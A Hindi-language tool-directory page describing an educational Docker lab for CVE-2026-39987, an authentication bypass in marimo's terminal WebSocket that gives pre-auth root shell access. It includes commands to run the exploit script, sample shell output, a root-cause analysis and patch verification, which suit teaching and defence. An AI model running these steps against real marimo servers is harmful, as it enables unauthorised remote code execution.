Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — शैक्षिक Docker लैब जो CVE-2026-39987 का प्रदर्शन करती है, जो marimo में WebSocket प्रमाणीकरण बायपास के माध्यम से प्री-ऑथ RCE है, जिसमें एक्सप्लॉइट स्क्रिप्ट और पैच सत्यापन चरण शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubdhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-39987-lab-or-marimo-cve-lab

शैक्षिक Docker लैब जो CVE-2026-39987 का प्रदर्शन करती है, जो marimo में WebSocket प्रमाणीकरण बायपास के माध्यम से प्री-ऑथ RCE है, जिसमें एक्सप्लॉइट स्क्रिप्ट और पैच सत्यापन चरण शामिल हैं।

रिपॉजिटरी देखें
44 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-39987 लैब गाइड

टर्मिनल वेबसॉकेट प्रमाणीकरण बायपास के माध्यम से प्री-ऑथ रिमोट कोड एक्ज़ीक्यूशन

marimo में इस गंभीर कमजोरी को समझने, दोहराने और पैच करने के लिए एक शैक्षिक Docker लैब।


विषय-सूची

  • अवलोकन
  • आर्किटेक्चर
  • त्वरित प्रारंभ
  • चरण-दर-चरण वॉकथ्रू
    • चरण 1: लैब बनाएं और प्रारंभ करें
    • चरण 2: पुष्टि करें कि प्रमाणीकरण सक्रिय है
    • चरण 3: एक्सप्लॉइट चलाएं
    • चरण 4: बायपास को समझें
    • चरण 5: पैच सत्यापन
  • समस्या निवारण
  • सफाई
  • संदर्भ

अवलोकन

लक्ष्यmarimo <= 0.20.4 टोकन प्रमाणीकरण सक्षम के साथ edit मोड में चल रहा है
हमलावरPython 3 और websocket-client वाला कोई भी होस्ट
लक्ष्यऑथ टोकन प्रदान किए बिना /terminal/ws के माध्यम से इंटरैक्टिव रूट शेल प्राप्त करना
प्रकारप्रमाणीकरण बायपास → रिमोट कोड एक्ज़ीक्यूशन (RCE)
पैचmarimo >= 0.23.0

⚠️ केवल नैतिक उपयोग: यह लैब सुरक्षा शोधकर्ताओं, डेवलपर्स और छात्रों के लिए यह समझने के लिए डिज़ाइन किया गया है कि प्रमाणीकरण बायपास कमजोरियाँ कैसे होती हैं और उन्हें ठीक से कैसे ठीक किया जाए। केवल पृथक वातावरण में चलाएं।


आर्किटेक्चर

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                        Docker Network                         │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (Target)           │      │   (Attacker)         │   │
│   │   Port: 2718         │      │   Python 3.12        │   │
│   │   Auth: Token        │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

इस लैब में फ़ाइलें:

फ़ाइलउद्देश्य
Dockerfile.targetकमजोर marimo सर्वर बनाता है
docker-compose.ymlलक्ष्य और हमलावर कंटेनरों को व्यवस्थित करता है

त्वरित प्रारंभ

root@kitploit:~
# रिपोजिटरी क्लोन करें
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# लैब प्रारंभ करें
docker-compose up --build -d

# एक्सप्लॉइट चलाएं
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# इंटरैक्टिव शेल प्राप्त करें
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

चरण-दर-चरण वॉकथ्रू

चरण 1: लैब बनाएं और प्रारंभ करें

root@kitploit:~
# एक कार्यशील निर्देशिका बनाएं और इन फ़ाइलों को अंदर रखें:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# लक्ष्य बनाएं और प्रारंभ करें
docker-compose up --build -d

# सत्यापित करें कि लक्ष्य चल रहा है
docker ps
# आपको देखना चाहिए: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

क्या होता है:

  • Docker marimo 0.20.4 (कमजोर संस्करण) के साथ एक कंटेनर बनाता है
  • सर्वर --token प्रमाणीकरण स्पष्ट रूप से सक्षम के साथ edit मोड में प्रारंभ होता है
  • पोर्ट 2718 आपके होस्ट के लिए उजागर है

चरण 2: पुष्टि करें कि प्रमाणीकरण सक्रिय है

एक्सप्लॉइट करने से पहले, आइए सत्यापित करें कि लक्ष्य वैध एंडपॉइंट्स पर ठीक से सुरक्षित है:

root@kitploit:~
# ब्राउज़र या curl के माध्यम से मुख्य UI खोलने का प्रयास करें
curl -s http://127.0.0.1:2718/
# अपेक्षित: लॉगिन पेज पर रीडायरेक्ट या 401/403 (टोकन आवश्यक)

# बिना टोकन के मुख्य WebSocket (/ws) का प्रयास करें
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# अपेक्षित: गुम ऑथ के कारण कनेक्शन अस्वीकृत या तुरंत बंद

मुख्य अवलोकन: मुख्य एप्लिकेशन एंडपॉइंट्स सही ढंग से प्रमाणीकरण लागू करते हैं। कमजोरी एक द्वितीयक एंडपॉइंट में है जिसे अनदेखा किया गया था।


चरण 3: एक्सप्लॉइट चलाएं

विकल्प A — एकल कमांड निष्पादन

root@kitploit:~
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

अपेक्षित आउटपुट:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

विकल्प B — इंटरैक्टिव शेल

root@kitploit:~
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

आपको एक $ प्रॉम्प्ट मिलेगा जहां आप मनमाने सिस्टम कमांड चला सकते हैं:

root@kitploit:~
[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

चरण 4: बायपास को समझें

यह क्यों काम करता है?

कमजोरी WebSocket एंडपॉइंट्स में असंगत प्रमाणीकरण जांच के कारण मौजूद है:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  Authentication Middleware (Starlette)                          │
│  ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│  └── Does NOT automatically close WebSocket connections         │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (Main)     │          │ /terminal/ws     │
    │                  │          │ (Terminal)       │
    │  ✓ validate_auth()│          │  ✗ NO auth check │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  Rejects unauth  │          │  ✓ Accepts immediately│
    └──────────────────┘          └──────────────────┘

मूल कारण विश्लेषण

  1. प्रमाणीकरण मिडलवेयर (Starlette AuthenticationMiddleware) अनधिकृत कनेक्शनों को UnauthenticatedUser के रूप में चिह्नित करता है लेकिन WebSocket कनेक्शनों को स्वचालित रूप से बंद नहीं करता है।

  2. सही एंडपॉइंट्स (जैसे, /ws) validate_auth() को कॉल करते हैं या @requires("edit") का उपयोग करते हैं, अनधिकृत क्लाइंटों को अस्वीकार करते हैं।

  3. कमजोर एंडपॉइंट (/terminal/ws) केवल जांचता है:

    • SessionMode.EDIT — सुनिश्चित करता है कि सर्वर edit मोड में है
    • supports_terminal() — सुनिश्चित करता है कि टर्मिनल सुविधा उपलब्ध है
    • ...फिर किसी भी ऑथ जांच के बिना तुरंत await websocket.accept() को कॉल करता है।
  4. प्रभाव: pty.fork() सर्वर उपयोगकर्ता (डिफ़ॉल्ट Docker इमेज में रूट) के रूप में चलने वाला एक पूर्ण PTY शेल उत्पन्न करता है, जिससे हमलावर को पूर्ण सिस्टम एक्सेस मिलता है।

फिक्स (marimo >= 0.23.0)

पैच /terminal/ws एंडपॉइंट में उचित प्रमाणीकरण सत्यापन जोड़ता है, यह सुनिश्चित करते हुए कि यह अन्य एंडपॉइंट्स की सुरक्षा स्थिति से मेल खाता है।


चरण 5: पैच सत्यापन

लक्ष्य को पैच किए गए संस्करण में अपग्रेड करें और फिक्स की पुष्टि करने के लिए एक्सप्लॉइट को फिर से चलाएं:

root@kitploit:~
# Dockerfile.target संपादित करें: marimo==0.20.4 को marimo==0.23.0 में बदलें
# या उपयोग करें: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# एक्सप्लॉइट को फिर से आज़माएं
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

पैच के बाद अपेक्षित:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

कनेक्शन अब तुरंत अस्वीकृत/बंद कर दिया जाता है; कोई शेल प्राप्त नहीं होता है। ✅


समस्या निवारण


सफाई

root@kitploit:~
# कंटेनरों को रोकें और हटाएं
docker-compose down -v

# निर्मित इमेज को हटाएं
docker rmi cve-lab_target

# किसी भी अनाथ इमेज को साफ करें
docker image prune -f

संदर्भ

  • GitHub सुरक्षा सलाह: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • पैच PR: https://github.com/marimo-team/marimo/pull/9098
  • CVE रिकॉर्ड: https://cveawg.mitre.org/api/cve/CVE-2026-39987
  • marimo दस्तावेज़ीकरण: https://docs.marimo.io

शैक्षिक उद्देश्यों के लिए बनाया गया। जिम्मेदारी से उपयोग करें। 🔒

टूल डाउनलोड करें
exploit.pyPoC एक्सप्लॉइट स्क्रिप्ट (एकल कमांड + इंटरैक्टिव मोड)
LAB_GUIDE.mdयह गाइड
समस्यासमाधान
Connection refusedसुनिश्चित करें कि कंटेनर चल रहा है: docker ps और docker logs marimo-vulnerable के साथ लॉग जांचें
ModuleNotFoundError: No module named 'websocket'क्लाइंट स्थापित करें: pip install websocket-client
एक्सप्लॉइट से कोई आउटपुट नहींटाइमआउट बढ़ाएं: python exploit.py ... --timeout 20
कंटेनर तुरंत बाहर निकलता हैDockerfile सिंटैक्स जांचें और सुनिश्चित करें कि test.py नोटबुक ठीक से बनाई गई है
अनुमति अस्वीकृतसुनिश्चित करें कि Docker डेमॉन चल रहा है और आपके पास उचित अनुमतियाँ हैं